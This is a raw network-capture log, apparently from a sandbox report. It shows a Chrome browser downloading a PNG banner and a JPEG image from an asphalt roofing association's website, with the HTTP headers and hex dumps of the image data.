2024-04-23 14:53:51 UTC	695	OUT	GET /wp-content/uploads/2023/04/New-Video-Website-Banner_V2.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:52 UTC	517	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:51 GMT Content-Type: image/png Content-Length: 98411 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Thu, 27 Apr 2023 14:09:07 GMT ETag: "c236e8-1806b-5fa51e6615c72" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:52 UTC	7675	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 6c 00 00 01 90 08 03 00 00 00 55 a4 60 aa 00 00 00 7b 50 4c 54 45 ff ff ff f9 f9 f8 ec e9 e8 f6 df c3 d9 d9 d9 f3 d4 ae d5 d4 d4 cf ce ce c9 c8 c8 c2 c0 c0 b9 b8 b8 aa aa aa b3 a0 91 9b 9c 9a 92 92 8f 88 93 97 88 88 86 7e 7e 7d 74 74 74 9e 62 5d 6c 6c 6b 62 62 62 59 5a 5a 82 41 3d 52 52 52 4b 4b 4b 43 44 44 c4 06 16 3e 3e 3e 38 38 38 74 20 16 33 33 33 2e 2e 2e 5d 1b 13 29 29 29 51 16 0f 23 23 23 0e 2a 35 41 13 0d 11 11 11 01 01 01 c3 40 c4 30 00 01 7f ab 49 44 41 54 78 da ec 5d 0b 7b a2 c8 16 04 96 05 05 69 ba 5b f0 c1 40 74 5c ef 38 ff ff 17 de af df a7 5f a8 49 66 c7 d9 d0 c9 e4 61 8c 49 cc ae 95 aa 53 a7 2a 29 97 b3 9c df 7a f2 44 9e 34 5f ce 72 96 f3 2b cf db d7 3a eb 97 ba f3 93 9f cb 59 ce 6f Data Ascii: PNGIHDRlU`{PLTE~~}tttb]llkbbbYZZA=RRRKKKCDD>>>888t 333...])))Q###5A@0IDATx]{i[@t\8_IfaIS)zD4_r+:Yo
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: a0 92 0c 78 9f 5d 67 8b 9a e7 62 1b 01 36 1e 6e d7 2b 67 ae 22 1e 79 e4 c5 3f c2 9a 3c 4e 02 69 85 5b 4a b0 db 4e 0d 6a eb c6 6a 8f af 03 15 7b 28 6a 8a b6 96 96 ac e4 a8 06 45 83 91 1d 6a ab 51 16 79 5b b6 18 3b 1b b6 31 7b 94 e5 45 b6 5b 8b 83 f1 51 d4 89 d6 a6 33 13 db 5e 0d 6b c5 cb 25 41 6a 39 cb 59 c0 f6 4b ee d9 7a 61 40 14 80 ad 66 b6 50 46 66 18 5b b2 bd 1d 8a b2 a4 6a ea 2c a9 19 b3 2d 38 77 55 60 db a0 26 4f d9 18 b7 64 57 58 13 94 a5 d5 3a 4d 2b ae 18 af d3 74 8d 24 d8 66 0c 9f d8 85 55 9a ac 1a 7f 5c db 2a cc f5 4b e3 c1 a6 8c 23 22 df 93 90 bd 0c e3 ba c1 97 db ed aa bb 7e 54 19 c1 69 32 a9 8d 22 b6 51 6a cb 23 d5 99 c8 60 78 bb 09 7c 35 14 b1 48 c1 bf 0d 5a 48 6c 23 0a 72 64 bd d6 69 b6 f5 57 6c 81 8c 8c ad d8 6a 6f ed c7 9a d9 5a 83 5b 12 Data Ascii: x]gb6n+g"y?<Ni[JNjj{(jEjQy[;1{E[Q3^k%Aj9YKza@fPFf[j,-8wU`&OdWX:M+t$fU\*K#"~Ti2"Qj#`x\|5HZHl#rdiWljoZ[
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: e4 18 dc da 25 b6 1e af c5 9e 07 d9 49 b3 98 0b 69 84 15 04 a1 9a 1f 7b 55 3b 8c b5 ce f9 ed cc d6 5b f8 04 9c e6 57 32 db 4d 34 b0 b1 f2 40 06 c7 5a 0b 36 4f 8e 6c 83 20 d6 cc 63 15 71 21 7c ff 59 cc 36 7f 8b 4f 90 3f c0 6c cb b7 20 35 7f 56 78 2e fe 18 ac c5 87 30 ad 0d 43 2c 24 91 b7 57 33 23 8b 6f eb a0 77 6d 87 fa cc d0 f6 9f ff 0a b3 85 23 b6 6e 86 d9 ee ff fa 8b 25 36 fd b5 55 cc 96 d6 69 49 29 c9 d2 86 52 bc 62 41 13 3c 4c 8a 30 0c 4d f8 e2 2d 59 a7 2b 2d 23 f3 8c 89 bc c6 5c 4a ce 52 b6 fe 83 9b 9c 7d 5a c5 0c 52 4c 52 46 79 9a 73 f8 28 d3 95 66 b6 18 af f9 a5 22 41 8a 79 92 c5 05 28 97 a1 16 9c ef b2 c1 2e a3 8f 79 2a 57 7f 50 c3 12 a4 92 94 69 cb a8 64 10 2c 3e c8 31 8e 88 f4 e3 8b 1e b6 1e 05 b9 9d ce e7 1d 8f b6 10 fe e2 81 4f 70 a7 f3 c0 8c Data Ascii: %Ii{U;[W2M4@Z6Ol cq!\|Y6O?l 5Vx.0C,$W3#owm#n%6UiI)RbA<L0M-Y+-#\JR}ZRLRFys(f"Ay(.y*WPid,>1Op
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: d3 60 6e a7 aa b8 ac 8c 00 d8 e2 26 cb b2 a4 e6 44 17 d5 75 bd 4a d3 9e 24 c5 78 ba 0c 75 52 32 94 dc d1 ee 38 34 69 26 c4 61 01 b7 22 aa 58 e6 2e 0e aa c7 76 98 78 f9 1e 2f 88 3f 2a c1 f9 7c 39 1c 94 6d f9 20 e2 1e 4f a7 e9 3a 32 b0 65 c8 ca 84 e4 2b db d5 95 54 56 b5 c8 73 de eb 95 ed 9d 27 e9 91 12 b7 23 1b e5 85 90 ac 9c c9 32 56 ca 74 cd 9f a6 f3 d0 91 39 62 3b eb 40 a6 50 47 36 12 32 09 ee fb c0 8c c6 ce d2 90 9d 58 e4 3e 30 b3 9d c9 8c 02 93 5a 69 8c 12 cf bb d7 63 b6 73 45 aa f3 6e 64 8a 5b 5c 97 b3 e7 1e 05 f3 fd 51 ab 98 e2 fc d1 91 ad fb fd ef 1f 9e 5b 3e e5 46 36 77 0a 63 4b 9b 6d 44 38 20 1e 9d 0c 55 ec cd df b9 c5 1d 07 d6 db c6 b3 44 6f a3 14 fb a5 2b 7f f2 8a 50 05 b6 37 fc 1e 88 55 a3 55 8e 90 7a 8a 0a 47 b1 95 a2 b0 6b 17 5c b5 0d d9 32 Data Ascii: `n&DuJ$xuR284i&a"X.vx/?*\|9m O:2e+TVs'#2Vt9b;@PG62X>0ZicsEnd[\Q[>F6wcKmD8 UDo+P7UUzGk\2
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 21 9f 92 b1 52 f0 57 44 f8 87 b8 ea de 93 c1 50 94 8a e1 37 b1 24 9d aa 5c 32 63 40 6e ab b2 2a 37 01 53 56 c8 fc 62 84 d4 df 72 67 fb 75 93 8f 2c 26 c9 0d ef a0 2b 1f 12 9d 6c b8 fd 3d 7e db 83 d8 9f 25 91 76 0c 99 ed a7 77 59 f6 f1 f3 e7 2f cc 6c cb c3 f1 5c 1f f2 2b 81 6d ef c0 36 cb aa 01 c0 b6 1d ae f9 21 6f da 26 3f e4 67 0f b6 79 5d 37 ed f5 98 55 e7 d3 e1 78 f5 ca d8 30 e5 42 64 32 b0 cc f6 da 0d 13 b1 3c 63 5c 02 32 ec 57 0d d5 ea 90 6a 78 d5 da 4a 97 e0 3f 05 3a 29 2b 92 c2 5c e3 db 02 b8 e0 af a3 b4 5e 16 7e 1f 24 53 14 3f 81 f9 8c ec e1 a5 f0 e3 09 50 19 16 bd 94 63 81 1f 9a 6d 5f 00 8a 8f 41 88 bc 62 b3 2d 90 6f c5 22 24 0d 6c 94 8a f3 18 38 31 11 d9 ce 92 ad 08 8a 7a e4 01 64 17 be 4e 80 d1 1c 28 65 b9 2d ee 74 f1 a2 a9 17 91 51 77 2c 3f 7d Data Ascii: !RWDP7$\2c@n*7SVbrgu,&+l=~%vwY/l\+m6!o&?gy]7Ux0Bd2<c\2WjxJ?:)+\^~$S?Pcm_Ab-o"$l81zdN(e-tQw,?}
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 35 74 fd 44 49 8e bd 2d 06 c2 40 0b c8 86 b2 9a 28 d7 45 e0 c9 ac 44 db 9b 2d 9d 77 f1 8d b3 12 b2 e3 10 67 c3 0c e4 7e e3 ac 1d 62 9d db 66 2d bf 19 20 0b 05 f2 98 9a 20 fb 27 71 e1 79 80 ed e3 3c ce 0f 9d bd 08 a9 aa 8a 98 6c 6d 7b 80 98 b8 36 95 4d 83 12 33 62 b7 93 75 1a 65 ff da 11 e1 2a cc ab b0 60 7b 2a 4e 76 08 5c 0a 66 6b 2f 92 8e dc c8 53 eb 64 55 ac 52 46 f8 7b 21 42 2a 4a 90 4a ad 6d 9d cf 36 2d 90 4a a4 48 85 7a e4 d8 fe f3 16 70 7b 70 78 a2 03 8e 6b b7 98 9e d8 7e 86 f3 11 0e bc f1 c9 05 4b 75 97 6e 1c 87 cb e5 72 be 9c f1 c5 f9 72 e9 2f 67 44 db 4b db 9c 3b 02 db cb f9 0a 0f e2 fd f9 dc 5f cf 70 ba fe 7c ee e0 d1 fe 7c ee e0 fd 16 5f 77 fd a5 bd 4e 04 67 fd 75 98 e6 a9 eb 2f 30 7e 55 d7 0e ba e3 c7 eb f9 72 1d 60 6a 3c 74 e3 b2 ac 53 7f 1d Data Ascii: 5tDI-@(ED-wg~bf- 'qy<lm{6M3bue`{Nv\fk/SdURF{!B*JJm6-JHzp{pxk~Kunrr/gDK;_p\|\|_wNgu/0~Ur`j<tS
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 25 22 60 c6 a3 8b 5e 50 14 a8 0c cb 4b a5 42 ab b0 9e 7d f4 94 0d a4 d2 f3 cd a8 f1 da 36 5b 62 8b 39 16 72 3f eb b5 c8 99 d5 22 bf df 60 2d 9c ea 7e 74 63 48 72 45 96 63 63 a3 93 53 1e 20 a9 96 ea c7 89 cd 3e 37 37 52 26 b4 05 6a 0b 93 03 e9 f6 b9 53 37 30 86 09 c8 63 24 8a d2 4a b6 27 ed eb 8f 8d 50 1f 87 f3 93 ff 0e d8 f6 01 4f 0d 3f 6e a7 a8 43 12 81 ea df c1 6c 83 bb 57 a6 47 a4 55 30 bf 7d d5 95 be 73 8c 1c 89 a6 b7 9f b5 73 c4 76 8c bf d9 6f e6 74 ef 4b fc 0c d8 7e 08 fe bd d0 f3 87 fe 8f 60 b6 9d 12 a9 16 22 42 ea 58 fb 66 1f 46 c4 5a 06 5d f8 76 5a 97 26 c5 59 8d 4d 42 8c dc 54 be 74 80 3f 4f e3 6e 59 0a 29 56 ed ab 74 88 d8 42 eb 40 e1 3d b5 2e 17 b9 f6 5d 04 78 33 97 66 41 cc f6 b4 1b 21 f5 e2 ce 76 cb 6c 6b 5b 69 2b e7 c8 55 b2 41 be d8 f6 ec Data Ascii: %"`^PKB}6[b9r?"`-~tcHrEccS >77R&jS70c$J'PO?nClWGU0}ssvotK~`"BXfFZ]vZ&YMBTt?OnY)VtB@=.]x3fA!vlk[i+UA
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 6e 1b d0 76 c1 ba a8 b0 c8 86 cd 3e f9 00 39 c6 20 73 86 fe d6 f9 ca 08 d9 21 6c 42 6b a5 73 65 fd 0f c0 f6 f7 3d 6d af 63 3e 4f df e9 ee 37 79 40 4d f7 fd a8 bb aa 7a f2 ec 8d 1e f4 b1 e8 df fe a1 6b 3f f6 48 4f c3 70 fc 4e ff 7f fa 07 d3 f4 e3 31 46 48 8d 10 6c 3b 1c a3 d8 ea 41 32 5e db 3a d4 a1 d8 f8 d3 19 87 6d ec 11 70 ef e3 ba d6 2a 8b a3 90 d7 df 07 69 c9 20 ce d7 eb 75 a2 e4 78 bb 29 79 bb 32 42 af b7 89 90 f1 76 eb fa db 75 df 1f fa e6 7a 3b b4 97 db 41 dd 0e d7 db b1 d3 5f 75 7b cd 6f 91 46 f9 91 08 a9 42 ac 05 5e d9 e6 cc 36 09 6c 04 02 a9 7b cc 36 4a a4 9e 64 b6 82 3b 55 8d ff 95 13 dc 58 2c 2f b0 bc 94 e3 c8 79 8f b7 70 96 8c 63 74 d1 24 19 bf 0f 68 cb 34 d8 4e 23 0f 59 0a 9a 7a 4b 25 74 9f 01 8b cf e1 62 b1 3f cd 59 4c 85 a5 c0 e1 06 6a e1 Data Ascii: nv>9 s!lBkse=mc>O7y@Mzk?HOpN1FHl;A2^:mp*i ux)y2Bvuz;A_u{oFB^6l{6Jd;UX,/ypct$h4N#YzK%tb?YLj
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 0f 94 ec ed 53 51 2c fc 2d a6 e6 9f 72 a1 2d 58 db be 3c cd 6c 9d d9 a7 04 b4 6e 6b eb 59 89 47 5b 03 b6 59 d7 2d 68 98 97 b8 76 0f 74 02 21 9a 94 2b a5 18 88 e5 65 d3 a4 2d b3 41 21 65 b7 b2 f6 a6 36 43 ca 61 ee 6c a9 ad a9 25 70 5b 5b 17 cf 38 f4 39 ab d5 db da 6f 2b 43 64 b0 ae d5 ff 9d a6 74 c2 9b 0c 7f d3 00 45 0c c9 48 69 5c 4a a3 48 2c b3 20 17 6a 05 72 03 bc b2 38 47 8e c0 3a 57 ea 0b 2d de c6 ac e7 b7 99 b1 f2 fc 38 49 89 5a 9d 1c 83 57 5c ab b4 36 fc 1b 8b 83 64 f7 8f ec f7 04 db 12 78 8d bb bb f7 30 b5 a9 56 54 e6 b8 32 b9 8b da 14 00 6b c0 5f 04 48 0c b6 5d f9 37 d4 3f 01 b6 f7 1e 14 42 50 70 f9 e1 71 b0 dd 98 ed 27 9c 66 cf 41 84 d4 29 49 b5 88 35 b4 11 72 43 52 71 d7 1d 30 e7 04 e4 cf dd d2 2b a2 02 05 24 a9 bc 38 08 91 49 84 b1 74 92 dc 81 Data Ascii: SQ,-r-X<lnkYG[Y-hvt!+e-A!e6Cal%p[[89o+CdtEHi\JH, jr8G:W-8IZW\6dx0VT2k_H]7?BPpq'fA)I5rCRq0+$8It
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 41 eb 96 af 8d af e1 21 16 31 7d 02 64 1b 99 ad cb f0 77 28 6b 6e ab 01 8b 18 4e 6b af 89 a8 1a 84 bf 10 79 43 e5 41 f4 e1 da 12 85 d5 08 29 b0 b0 fd 51 a9 d8 43 3b 5b e4 b3 25 85 41 32 0c 47 ae 16 ed 3d bb b3 55 2a 71 fd e4 4f 8b f1 c9 53 13 d5 a5 06 b4 32 a1 b6 88 d9 de d9 db 4a 26 92 ce 02 3e 69 6d ba 01 5b 36 f9 78 64 c1 f8 3c 4c 46 6a 6c e8 eb 30 0d 7a c8 3c 18 19 95 86 5f 73 d5 cc d8 d4 ef 42 34 a3 99 23 c7 1c 8b 35 60 64 3f 03 7f 8c 95 70 96 81 b7 9f 15 62 e7 e0 9a ea 8b bd cc 9b 97 e3 a1 0a ee 1e 98 5b 21 00 b7 ad 6e 6b 51 38 14 84 5a 18 5f 51 e9 f4 c1 36 1f e0 f4 81 ff c6 d4 f2 3b 64 23 af ec 0c e9 94 e6 1e f7 77 e0 5a ae 03 c8 6e 4d 24 d4 a5 51 cb 73 86 d9 cd 98 42 d5 4c 32 b4 fc 37 7f b9 40 3e 08 b6 77 1f 14 56 3d 8d 58 b1 b5 81 ed 2f 65 b6 b5 Data Ascii: A!1}dw(knNkyCA)QC;[%A2G=U*qOS2J&>im[6xd<LFjl0z<_sB4#5`d?pb[!nkQ8Z_Q6;d#wZnM$QsBL27@>wV=X/e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49833	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:52 UTC	764	OUT	GET /media/2017/10/cmw-E-facade-front-1.jpg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb
2024-04-23 14:53:52 UTC	521	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:52 GMT Content-Type: image/jpeg Content-Length: 2288904 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 15 Dec 2021 09:21:16 GMT ETag: "6001a2-22ed08-5d32bd3eafb00" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:52 UTC	7671	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff fe 00 20 43 6f 6d 70 72 65 73 73 65 64 20 62 79 20 6a 70 65 67 2d 72 65 63 6f 6d 70 72 65 73 73 00 ff db 00 84 00 0c 0c 0c 0c 0c 0c 0d 0e 0e 0d 12 13 11 13 12 1b 18 16 16 18 1b 28 1d 1f 1d 1f 1d 28 3d 26 2d 26 26 2d 26 3d 36 42 35 32 35 42 36 61 4c 44 44 4c 61 70 5e 59 5e 70 88 7a 7a 88 ab a3 ab e0 e0 ff 01 0c 0c 0c 0c 0c 0c 0d 0e 0e 0d 12 13 11 13 12 1b 18 16 16 18 1b 28 1d 1f 1d 1f 1d 28 3d 26 2d 26 26 2d 26 3d 36 42 35 32 35 42 36 61 4c 44 44 4c 61 70 5e 59 5e 70 88 7a 7a 88 ab a3 ab e0 e0 ff ff c2 00 11 08 0e a0 15 f0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 02 01 03 04 05 06 07 08 ff da 00 08 01 01 00 00 00 00 f2 e0 02 04 fa 7f 67 0a Data Ascii: JFIF Compressed by jpeg-recompress((=&-&&-&=6B525B6aLDDLap^Y^pzz((=&-&&-&=6B525B6aLDDLap^Y^pzz"g
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: d2 6f 02 40 00 00 80 00 00 00 00 00 20 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 02 09 02 00 00 00 00 00 02 09 80 00 00 00 08 26 24 80 00 00 00 00 00 08 00 00 00 00 02 00 00 22 40 00 00 00 00 00 00 02 00 00 00 00 20 90 20 00 00 00 00 00 20 08 24 00 00 80 00 00 00 00 02 09 22 a9 1c e3 75 de 09 20 a2 fc 9a 58 0f 23 eb 40 aa e2 00 82 41 22 58 00 00 80 00 00 00 00 00 00 22 42 00 00 00 00 00 02 09 00 03 e2 b4 d1 e8 35 d4 95 44 20 40 44 01 13 07 73 dd 8a 55 57 1f c5 72 5f bf d9 f6 79 38 9e cf c8 e5 f7 17 69 e5 fc ec ed 6a eb db e3 74 d0 fd 3f 37 ce ee f9 fa b4 69 c5 eb fd 4f 43 9f aa cb b1 ea b1 7c 67 a8 d0 fe 56 af 27 ec af e1 f2 f9 38 1a 7a 7a a8 f7 58 3c df 2b ad ea 38 9e 63 4f d0 3d 27 cb fd a9 e1 b9 f4 7b 7c be 3b 0d 4f 08 bb b9 da 7b be 8a cf Data Ascii: o@ &$"@ $"u X#@A"X"B5D @DsUWr_y8ijt?7iOC\|gV'8zzX<+8cO='{\|;O{
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: f5 f5 fc f3 6e cc 47 87 f7 18 3d 37 93 f6 ba 4e 9e 04 d6 ee 00 00 01 04 90 00 00 00 00 00 00 00 00 40 04 84 05 35 5e 66 e6 5f d1 cd ab 27 80 fa 0e ff 00 31 bb b2 00 00 00 00 02 25 4b 37 7c f3 d7 1c cf 1f e8 f8 de bf d1 f9 fd 7d 62 00 f9 ff 00 a0 d1 e7 fd 5d 3c 1b fb 3d 00 0a fc be 1e df 4b 70 41 ce e8 05 3c da 3b 1a 00 00 80 00 00 00 00 80 98 00 00 08 00 00 00 08 02 42 03 e5 bc 76 eb 5c 22 a5 75 a5 29 4d 33 6f a2 48 55 ae 22 22 45 90 14 89 f6 5e 92 15 52 8f 35 e3 bd 47 d6 29 f3 1e a2 83 5c e3 84 e8 af 9e f1 c9 ef 7c af 77 71 d4 f9 a7 9d cd af ad b7 83 cc af 79 dc c3 c2 b7 d0 d7 92 38 e7 4f da f9 bf a5 f9 6c 38 3d 66 4e 27 3f 95 94 f4 74 f1 2c e8 7b de 56 8d de 5f d5 75 ae 6c df 3e 3a de 13 a5 87 e9 7e 5e ce a7 86 fa 37 97 e1 ef f7 76 f7 f9 fa d7 cd 71 bc Data Ascii: nG=7N@5^f_'1%K7\|}b]<=KpA<;Bv\"u)M3oHU""E^R5G)\\|wqy8Ol8=fN'?t,{V_ul>:~^7vq
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: bc bd 2d 51 58 95 d5 5d 79 69 f4 db 6a ad 61 64 24 14 11 44 6f 79 d3 11 17 1f 8c e5 fd 6f b8 d1 e0 27 da eb 39 d4 ea 9e 4f 0b 07 b0 f1 7e 6b a8 d9 3d fe ce ad aa 64 f9 b9 ca e5 f4 fa 8f 9b 1e 8e e6 ce fe 6c be 23 07 63 37 37 d6 f3 7d 2f 9c e1 e5 a7 5f 4f da 72 3d 6f 67 50 00 00 00 46 4f 2c 90 dd de 5d 3f 38 3e a1 d1 f2 3e 5b dd f5 b0 7c c0 db e9 56 7d 8f 8e f1 f9 ae bb ab ea 7b 5f 39 e2 1e c7 cc 1d ef 45 e6 b8 7e 96 dc ba 7b 1b 7c 56 0e f7 a2 d9 83 ce f3 e8 f4 7e 4f 27 47 d2 7a bf 2f c7 f4 fd eb f6 79 9d 7c be 3f 47 d2 f3 79 de c3 c3 f1 d2 de c7 83 ef 4e ad 3d 8e 0d 5e 83 0e 0e 33 7a 9d 9d eb f7 1c 3e ef 27 e7 f4 72 7e a7 d4 b7 83 9b a9 d9 54 76 98 00 00 00 00 00 00 00 00 00 00 00 00 02 24 20 00 08 65 00 00 00 00 00 26 00 00 00 00 00 00 00 20 90 80 00 00 Data Ascii: -QX]yijad$Doyo'9O~k=dl#c77}/_Or=ogPFO,]?8>>[\|V}{_9E~{\|V~O'Gz/y\|?GyN=^3z>'r~Tv$ e&
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 47 29 fa 60 00 00 00 00 00 04 00 01 20 b2 00 49 39 7c df 7b 77 19 fa 27 95 e4 a7 3b 7f bf 15 38 7e 24 80 90 09 90 91 c8 02 b0 6e 97 bd 05 8a fc 9f 27 a7 3d 8f 4d ce 5c b7 f7 30 e3 3a 94 ee c7 e4 e9 f5 dd 1b 30 6e d2 60 e5 df ce e8 cf 97 d9 e3 4a 70 5f d5 f4 67 81 ed 7a df 29 d3 7f 63 e0 78 29 d7 fa 1f 0f d1 eb cb 7f cc bd 25 fb b7 73 78 be 8f bb 68 00 10 19 b1 5f 7e 80 29 c9 97 b0 d9 67 87 e3 fc ed 23 8c dd 3c db fd c7 8c df e2 2d f6 d9 39 98 fa 9e 87 7d 1a 28 ef f4 97 cc 74 b0 f8 8e 1f 71 bd 67 9d f5 94 79 8d f5 a7 90 ae fe 8f a8 eb f3 b4 3f 57 e4 de 8b bb b3 3f 99 e1 f7 70 26 4c 1d af 79 c2 f2 6d 8b 5b 51 e9 3d cc f9 fe 27 d4 60 95 e4 61 f4 8f c3 ec 33 80 10 07 9b f9 f5 f9 3b bd 29 cf ea fc fb fa 4d e0 06 5f 26 72 fd 7f 8d f3 3b b5 69 e9 70 15 fa 54 24 Data Ascii: G)` I9\|{w';8~$n'=M\0:0n`Jp_gz)cx)%sxh_~)g#<-9}(tqgy?W?p&Lym[Q='`a3;)M_&r;ipT$
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 3e 6b a7 c5 4f 61 d0 3c 7f 03 b9 bf 61 39 6d 6f 22 86 fd 1d 4f 69 77 03 4d d7 41 df 7c 9c ab 7a f6 e0 bf 41 00 11 20 1c 6f 21 d9 3a 34 f5 69 e7 ef f9 f5 78 eb 7f 47 ca e0 50 cf 7e de 42 eb fa 2f 73 c8 fa 5a bc af b5 d3 ce f9 a7 32 50 62 51 36 ed 7b b8 4b 31 51 37 d1 75 fb fd 37 89 4b 0a a8 a2 66 7a 71 86 15 e8 bf 56 5e c1 ca ea 72 62 86 aa db a2 ab fd bb f8 ae 97 27 d9 7a de 6e 1f 01 5c 5b d9 a2 8e af 15 19 b4 d1 42 5b 7f d0 fc 06 67 fa 4d 7e 57 16 4e 97 3b 77 2f d8 f2 cc 18 52 b6 ae 9e b7 47 d9 5d e3 f3 00 00 48 11 13 5f a9 db 97 e6 d5 2c a8 b5 1a e9 0b da b4 db d6 f4 be 3b 8e 8f d5 d5 47 20 ba cd 49 8d f4 f5 7d cf 1b cc 71 3d 8f 3a ef 34 74 b9 21 a6 bd 07 57 27 2a 2e b2 62 87 ec f4 fc e7 b9 9e 37 53 8b c2 a4 b6 93 4e 9b 79 bb f9 5b ef c7 44 b8 fb b0 ab Data Ascii: >kOa<a9mo"OiwMA\|zA o!:4ixGP~B/sZ2PbQ6{K1Q7u7KfzqV^rb'zn\[B[gM~WN;w/RG]H_,;G I}q=:4t!W'*.b7SNy[D
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 38 f8 33 4f aa 33 fa 4f 57 d2 8e 17 3b c3 72 7d 0e 6c 12 fd ff 00 a1 37 8c f2 b8 3a f1 ed ba bc 7f 47 ab cd bf 4a 9f 9a 72 f6 7a 8d 7e 37 2f 73 1f 37 23 4c 42 c7 7b 2e 56 a6 f8 a2 ab 35 67 d9 87 b7 87 67 1a 56 69 34 d5 6f 47 bb e4 e8 ea db 8b 9d 72 51 31 66 7b 2d b2 fc 77 ed e7 54 c5 8c 57 e9 f1 71 75 fa 4d 97 e3 f3 fc ba 1e db e7 36 57 7b 8b 68 42 7b 9f 46 f8 e5 ba 72 6a c9 d6 f7 fe 33 d5 76 fe 75 85 3b 9c a8 db 3b 3e 83 cf cb 8f 57 5b c3 f5 3c f5 dc 4d fe 6c d7 8c 5b 94 19 47 3d 5f 1b 92 80 3d 97 fd 13 81 c1 c7 d5 4e f4 79 be 6f a7 3e ac 00 00 11 22 f8 1f 25 ba ff 00 55 d0 e5 47 81 3a ff 00 57 59 f0 9c be 5f 72 8e 63 77 36 02 d5 cf a7 d6 fa 8b 5a 54 4c 74 ef 6e 7e 22 68 f5 0c 07 83 d5 9d e2 9c 0b a5 ba 5d bc d4 f6 7a 37 53 ca f2 dc b3 7b e6 13 2d f5 c7 Data Ascii: 83O3OW;r}l7:GJrz~7/s7#LB{.V5ggVi4oGrQ1f{-wTWquM6W{hB{Frj3vu;;>W[<Ml[G=_=Nyo>"%UG:WY_rcw6ZTLtn~"h]z7S{-
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 5c 59 26 ba ed eb f1 ef bb 7f 3f b3 c4 cd b6 8c d0 17 60 52 47 b6 a6 7d 7f 51 f9 ce 4c 25 cf 5d e3 eb af 0d 5d 1c f3 ee 7c 66 0c c4 27 7d ba 54 7b fe ff 00 0b c5 72 76 7a 9f 59 af 98 fe 73 c1 74 6e e9 78 6e bf 7f 5f 88 8c cc 8e c9 74 67 4b ef e7 4d 3b 6f dd cb 95 d5 82 fa 0b a8 df 1f 47 f1 54 9a b8 4f 4f 41 f8 c7 7f 47 0e df 65 7f 29 f5 72 bd 5f 33 d2 79 4f 21 aa 8e b6 3e 56 aa 73 d9 02 6f e4 93 ec 7b f1 e7 7c e7 6f 67 4d ea cd 7b e2 db 7e 74 a2 dd 5c f2 fd 59 6a d9 91 3a 34 51 b2 83 66 4c 5d 3b f9 89 1a 04 df 99 37 a1 6e 64 dc 94 5f 75 09 a2 44 c2 98 f6 56 d5 fa ff 00 2f 76 5d 79 1d da de df a4 de d0 b3 25 51 39 49 cf 64 6a be 40 00 03 cb 79 dd d8 72 73 37 fa 8b b7 d3 c3 ed 26 af 19 c7 ef 79 cb 91 37 e5 d7 67 22 8b 19 a0 9a 4b 23 39 63 64 c2 b3 a7 63 ea Data Ascii: 